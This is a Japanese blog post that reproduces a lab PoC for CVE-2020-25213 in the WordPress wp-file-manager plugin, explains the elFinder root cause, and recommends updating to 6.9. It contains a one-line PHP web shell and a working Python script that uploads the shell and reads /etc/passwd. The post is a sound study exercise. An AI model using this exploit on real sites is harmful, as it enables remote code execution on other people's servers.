過密です

タイトルしょうもなさすぎたので変えました

やりつくされたCVE-2020-25213のPoC検証をあえてやる

一応肩書きがセキュリティエンジニアになったので、セキュリティエンジニアならPoCくらい動かさんかい、ということで2020年9月頃に情報公開されたwordpressのfile-managerプラグイン脆弱性であるCVE-2020-25213のPoC検証をやろうと思います。

なんでこれ選んだかの理由は特にないです。強いて言えばwordpress触ったことないし、結構話題になっていた気がしたからです。

別に新しいことを書くとかではないです。メモ程度に。

環境構築

Dockerでwordpress,mysqlのイメージから作成
file-managerの脆弱なバージョンのzipも持ってきておいて、コンテナにアップロード、展開しておきます。

6.9未満が対象で今回は6.0を使ってます。公式が配布している過去バージョンから取得。
https://wordpress.org/plugins/wp-file-manager/advanced/

適当に作ったDockerfile,PoC諸々はこちら

github.com

検証

file-managerはwordpressのサーバにファイルをアップロードするためのプラグインで、本来FTPとかを利用してアップロードするものを管理者画面からアップロードできるようにする機能が使えます。 機能的にも結構使われていたっぽいですね。

とりあえずPoC動かしましょう。
最初にブラウザからアクセスして初期設定を行って、 f:id:kam1tsur3:20201113170034p:plain file-mangerも有効にしておきます。 f:id:kam1tsur3:20201113170042p:plain では実行しましょう。

  1. wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpに対してPOSTメソッドでphpファイルのアップロードを行います。
  2. アップロードされたファイルはwp-content/plugins/wp-file-manager/lib/files下にアップロードされるのでそこにアクセスすれば任意のphpコードの実行が可能です。

とても簡単。
PoCではクエリのパラメータのコマンドを実行するようなphpをアップロードしています。ネット上のレポート見ても実際この類の攻撃が行われていたようです。

アップロードするcmd.php

<?php echo system($_GET["cmd"]);?>

exploitコード

#!/usr/local/bin/python3                                                                                                                             
                                                                                                                                                     
import requests                                                                                                                                      
                                                                                                                                                     
url = "http://localhost:8080/wp-content/plugins/wp-file-manager/lib"                                                                                 
                                                                                                                                                     
def exploit():                                                                                                                                       
    # set post request parameters                                                                                                                    
    file_name = 'cmd.php'                                                                                                                            
    cmd = 'cat /etc/passwd'                                                                                                                          
    data = (                                                                                                                                         
        ('upload[]', open(file_name, 'rb')),                                                                                                         
        ('cmd', (None, 'upload')),                                                                                                                   
        ('target', (None, 'l1_Lw'))                                                                                                                  
    )                                                                                                                                                
                                                                                                                                                     
    # upload php                                                                                                                                     
    res = requests.post("{}/php/connector.minimal.php".format(url), files=data)                                                                      
                                                                                                                                                     
    print(res.status_code)                                                                                                                           
    print(res.text)                                                                                                                                  
                                                                                                                                                     
    # execute php                                                                                                                                    
    res = requests.get("{0}/files/{1}?cmd={2}".format(url,file_name,cmd))                                                                            
                                                                                                                                                     
    print(res.status_code)                                                                                                                           
    print(res.text)                                                                                                                                  
                                                                                                                                                     
exploit()

脆弱性の原因

file-managerが使用している、サーバ上のファイルを扱うライブラリelFinderのインスタンスが外部のユーザが参照できるlib/phpディレクトリ下のconnector.minimal.phpで呼び出せてしまうのが原因。

↓wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php(一部)

...
$opts = array(
        // 'debug' => true,
        'roots' => array(
                // Items volume
                array(
                        'driver'        => 'LocalFileSystem',           // driver for accessing file system (REQUIRED)
                        'path'          => '../files/',                 // path to files (REQUIRED)
                        'URL'           => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED)
                        'trashHash'     => 't1_Lw',                     // elFinder's hash of trash folder
                        'winHashFix'    => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too
                        'uploadDeny'    => array('all'),                // All Mimetypes not allowed to upload
                        'uploadAllow'   => array('all'), // Mimetype `image` and `text/plain` allowed to upload
                        'uploadOrder'   => array('deny', 'allow'),      // allowed Mimetype `image` and `text/plain` only
                        'accessControl' => 'access'                     // disable and hide dot starting files (OPTIONAL)
                ),
                // Trash volume
                array(
                        'id'            => '1',
                        'driver'        => 'Trash',
                        'path'          => '../files/.trash/',
                        'tmbURL'        => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/',
                        'winHashFix'    => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too
                        'uploadDeny'    => array('all'),                // Recomend the same settings as the original volume that uses the trash
                        'uploadAllow'   => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as 
above
                        'uploadOrder'   => array('deny', 'allow'),      // Same as above
                        'accessControl' => 'access',                    // Same as above
                ),
        )
);

// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
...

せっかくなので$connector->run()について、もう少し動作を追ってみましょう。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinderConnector.class.php(重要なところ抜粋)

class elFinderConnector
{
    ...
    public function run()
    {
        $isPost = $this->reqMethod === 'POST';
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
        ...
        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args = array();
        ...
        $hasFiles = false;
        foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
            if ($name === 'FILES') {
                if (isset($_FILES)) {
                    $hasFiles = true;
                } elseif ($req) {
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
                    $arg = trim($arg);
                }
                ...
                $args[$name] = $arg;
            }
        }
        ...
        $args = $this->input_filter($args);
        if ($hasFiles) {
            $args['FILES'] = $_FILES;
        }

        try {
            $this->output($this->elFinder->exec($cmd, $args));
        } catch (elFinderAbortException $e) {
         ...   
        }
    }
    ...
}

ここのポイントはPOSTで指定したcmd=uploadが$cmdに、target=l1_LW,アップロードしたファイルをが$argsに入りelFinder->exec($cmd,$args)が呼ばれているということ。

ではelFinderを見ていく。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinder.class.php(重要なところ抜粋)

class elFinder
{
    ...
    protected $commands = array(
        'abort' => array('id' => true),
        'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
        'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
        'chmod' => array('targets' => true, 'mode' => true),
        'dim' => array('target' => true, 'substitute' => false),
        'duplicate' => array('targets' => true, 'suffix' => false),
        'editor' => array('name' => true, 'method' => true, 'args' => false),
        'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
        'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
        'get' => array('target' => true, 'conv' => false),
        'info' => array('targets' => true, 'compare' => false),
        'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
        'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
        'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
        'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false,
 'options' => false),
        'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false),
        'parents' => array('target' => true, 'until' => false),
        'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false
),
        'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
        'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false),
        'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'qua
lity' => false, 'bg' => false),
        'rm' => array('targets' => true),
        'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
        'size' => array('targets' => true),
        'subdirs' => array('targets' => true),
        'tmb' => array('targets' => true),
        'tree' => array('target' => true),
        'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => 
false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => 
false, 'contentSaveId' => false),
        'url' => array('target' => true, 'options' => false),
        'zipdl' => array('targets' => true, 'download' => false)
    );

    ...
    public function exec($cmd, $args)
    {
        ...
        $dstVolume = false;
        $dst = !empty($args['target']) ? $args['target'] : (!empty($args['dst']) ? $args['dst'] : '');
        if ($dst) {
            $dstVolume = $this->volume($dst);
        } else if (isset($args['targets']) && is_array($args['targets']) && isset($args['targets'][0])) {
            ...
        } else if ($cmd === 'open') {
            ...
        }

        $result = null;
        ...
        if (!is_array($result)) {
            try {
                $result = $this->$cmd($args);
            } catch (elFinderAbortException $e) {
                throw $e;
            } catch (Exception $e) {
               ...
            }
        }
        ...
    }
    ...
    protected function volume($hash)
    {
        foreach ($this->volumes as $id => $v) {
            if (strpos('' . $hash, $id) === 0) {
                return $this->volumes[$id];
            }
        }
        return false;
    }
    ...
}

exec()の中では$this->$cmd($args);が呼ばれている、つまりelFinderのuploadメソッドが呼ばれている。 このuploadメソッドの中でファイルアップロードの処理が行われている。exploitコードでtargetに指定したl1_LwはelFinderクラスで管理しているvolumeを識別するようなものらしい。これがちょっとよくわからなかった。ソースコード見ているとg1_Lwや$optに指定されているt1_Lwとかは出てくるのだが、命名規則も不明。分かったら追記しようかなと。

少し追ったことからわかるように、実はupload以外のコマンドも実行しようと思えばできるみたい。まあ攻撃となると任意コード、コマンド実行が可能なuploadが一択だと思うけど。

参考にしたサイト
www.wordfence.com

対策

6.9以降で対策されているので更新しましょう。 6.9のパッケージを見るとwp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpが消されてた。これで外部のユーザがelFinderのインスタンスを自由に使えなくなった。

おわりに

ポエムは見返すと恥ずかしくなる。以上。